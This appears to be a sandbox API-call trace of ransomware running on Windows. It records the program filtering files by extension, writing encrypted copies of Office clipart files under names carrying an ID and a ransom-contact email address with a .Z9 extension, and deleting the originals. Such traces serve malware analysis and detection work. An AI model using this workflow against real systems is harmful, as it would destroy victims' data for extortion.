	[0094.324] lstrlenW (lpString=".1cd") returned 4
	[0094.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0094.324] lstrlenW (lpString=".jpg") returned 4
	[0094.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0094.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0094.324] lstrlenW (lpString=".doc") returned 4
	[0094.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.324] lstrlenW (lpString=".docx") returned 5
	[0094.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.324] lstrlenW (lpString=".pdf") returned 4
	[0094.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.324] lstrlenW (lpString=".xls") returned 4
	[0094.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.324] lstrlenW (lpString=".xlsx") returned 5
	[0094.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.324] lstrlenW (lpString=".ppt") returned 4
	[0094.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0094.325] lstrlenW (lpString=".zip") returned 4
	[0094.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.325] lstrlenW (lpString=".rar") returned 4
	[0094.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.325] lstrlenW (lpString=".bz2") returned 4
	[0094.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.325] lstrlenW (lpString=".7z") returned 3
	[0094.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0094.325] lstrlenW (lpString=".dbf") returned 4
	[0094.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0094.325] lstrlenW (lpString=".1cd") returned 4
	[0094.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0094.325] lstrlenW (lpString=".jpg") returned 4
	[0094.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.325] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.325] lstrlenW (lpString="HH00524_.WMF") returned 12
	[0094.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0094.325] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=14688) returned 1
	[0094.325] CloseHandle (hObject=0x35c) returned 1
	[0094.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220
	[0094.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.748] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.748] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.749] GetLastError () returned 0x0
	[0094.749] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x3960, lpOverlapped=0x0) returned 1
	[0094.750] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x3970, lpOverlapped=0x0) returned 1
	[0094.751] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.751] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.751] SetEndOfFile (hFile=0x394) returned 1
	[0094.751] CloseHandle (hObject=0x394) returned 1
	[0094.751] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.751] SetEndOfFile (hFile=0x300) returned 1
	[0094.752] CloseHandle (hObject=0x300) returned 1
	[0094.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1
	[0094.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0094.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0094.753] lstrlenW (lpString=".doc") returned 4
	[0094.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.753] lstrlenW (lpString=".docx") returned 5
	[0094.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.753] lstrlenW (lpString=".pdf") returned 4
	[0094.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.753] lstrlenW (lpString=".xls") returned 4
	[0094.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.753] lstrlenW (lpString=".xlsx") returned 5
	[0094.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.753] lstrlenW (lpString=".ppt") returned 4
	[0094.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0094.753] lstrlenW (lpString=".zip") returned 4
	[0094.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.753] lstrlenW (lpString=".rar") returned 4
	[0094.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.753] lstrlenW (lpString=".bz2") returned 4
	[0094.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.753] lstrlenW (lpString=".7z") returned 3
	[0094.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0094.753] lstrlenW (lpString=".dbf") returned 4
	[0094.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0094.753] lstrlenW (lpString=".1cd") returned 4
	[0094.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0094.754] lstrlenW (lpString=".jpg") returned 4
	[0094.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0094.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0094.754] lstrlenW (lpString=".doc") returned 4
	[0094.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.754] lstrlenW (lpString=".docx") returned 5
	[0094.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.754] lstrlenW (lpString=".pdf") returned 4
	[0094.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.754] lstrlenW (lpString=".xls") returned 4
	[0094.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.754] lstrlenW (lpString=".xlsx") returned 5
	[0094.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.754] lstrlenW (lpString=".ppt") returned 4
	[0094.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0094.754] lstrlenW (lpString=".zip") returned 4
	[0094.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.754] lstrlenW (lpString=".rar") returned 4
	[0094.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.754] lstrlenW (lpString=".bz2") returned 4
	[0094.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.754] lstrlenW (lpString=".7z") returned 3
	[0094.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0094.754] lstrlenW (lpString=".dbf") returned 4
	[0094.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0094.754] lstrlenW (lpString=".1cd") returned 4
	[0094.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0094.754] lstrlenW (lpString=".jpg") returned 4
	[0094.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.755] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.755] lstrlenW (lpString="HH00688_.WMF") returned 12
	[0094.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.755] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=7084) returned 1
	[0094.755] CloseHandle (hObject=0x300) returned 1
	[0094.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220
	[0094.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.755] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.755] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.756] GetLastError () returned 0x0
	[0094.756] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1bac, lpOverlapped=0x0) returned 1
	[0094.757] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1bb0, lpOverlapped=0x0) returned 1
	[0094.758] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.758] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.758] SetEndOfFile (hFile=0x394) returned 1
	[0094.758] CloseHandle (hObject=0x394) returned 1
	[0094.758] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.758] SetEndOfFile (hFile=0x300) returned 1
	[0094.759] CloseHandle (hObject=0x300) returned 1
	[0094.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1
	[0094.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0094.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0094.760] lstrlenW (lpString=".doc") returned 4
	[0094.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.760] lstrlenW (lpString=".docx") returned 5
	[0094.760] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.760] lstrlenW (lpString=".pdf") returned 4
	[0094.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.760] lstrlenW (lpString=".xls") returned 4
	[0094.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.760] lstrlenW (lpString=".xlsx") returned 5
	[0094.760] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.760] lstrlenW (lpString=".ppt") returned 4
	[0094.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0094.760] lstrlenW (lpString=".zip") returned 4
	[0094.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.760] lstrlenW (lpString=".rar") returned 4
	[0094.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.760] lstrlenW (lpString=".bz2") returned 4
	[0094.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.760] lstrlenW (lpString=".7z") returned 3
	[0094.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0094.760] lstrlenW (lpString=".dbf") returned 4
	[0094.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0094.760] lstrlenW (lpString=".1cd") returned 4
	[0094.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0094.760] lstrlenW (lpString=".jpg") returned 4
	[0094.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0094.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0094.761] lstrlenW (lpString=".doc") returned 4
	[0094.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.761] lstrlenW (lpString=".docx") returned 5
	[0094.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.761] lstrlenW (lpString=".pdf") returned 4
	[0094.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.761] lstrlenW (lpString=".xls") returned 4
	[0094.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.761] lstrlenW (lpString=".xlsx") returned 5
	[0094.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.761] lstrlenW (lpString=".ppt") returned 4
	[0094.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0094.761] lstrlenW (lpString=".zip") returned 4
	[0094.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.761] lstrlenW (lpString=".rar") returned 4
	[0094.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.761] lstrlenW (lpString=".bz2") returned 4
	[0094.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.761] lstrlenW (lpString=".7z") returned 3
	[0094.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0094.761] lstrlenW (lpString=".dbf") returned 4
	[0094.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0094.761] lstrlenW (lpString=".1cd") returned 4
	[0094.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0094.761] lstrlenW (lpString=".jpg") returned 4
	[0094.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.761] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.762] lstrlenW (lpString="HH00693_.WMF") returned 12
	[0094.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.762] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=7098) returned 1
	[0094.762] CloseHandle (hObject=0x300) returned 1
	[0094.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220
	[0094.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.762] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.762] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.763] GetLastError () returned 0x0
	[0094.763] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1bba, lpOverlapped=0x0) returned 1
	[0094.796] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1bc0, lpOverlapped=0x0) returned 1
	[0094.797] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.797] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.797] SetEndOfFile (hFile=0x394) returned 1
	[0094.798] CloseHandle (hObject=0x394) returned 1
	[0094.798] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.798] SetEndOfFile (hFile=0x300) returned 1
	[0094.798] CloseHandle (hObject=0x300) returned 1
	[0094.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1
	[0094.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0094.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0094.799] lstrlenW (lpString=".doc") returned 4
	[0094.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.799] lstrlenW (lpString=".docx") returned 5
	[0094.799] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.799] lstrlenW (lpString=".pdf") returned 4
	[0094.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.799] lstrlenW (lpString=".xls") returned 4
	[0094.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.799] lstrlenW (lpString=".xlsx") returned 5
	[0094.799] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.799] lstrlenW (lpString=".ppt") returned 4
	[0094.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0094.799] lstrlenW (lpString=".zip") returned 4
	[0094.799] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.799] lstrlenW (lpString=".rar") returned 4
	[0094.799] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.799] lstrlenW (lpString=".bz2") returned 4
	[0094.799] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.799] lstrlenW (lpString=".7z") returned 3
	[0094.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0094.800] lstrlenW (lpString=".dbf") returned 4
	[0094.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
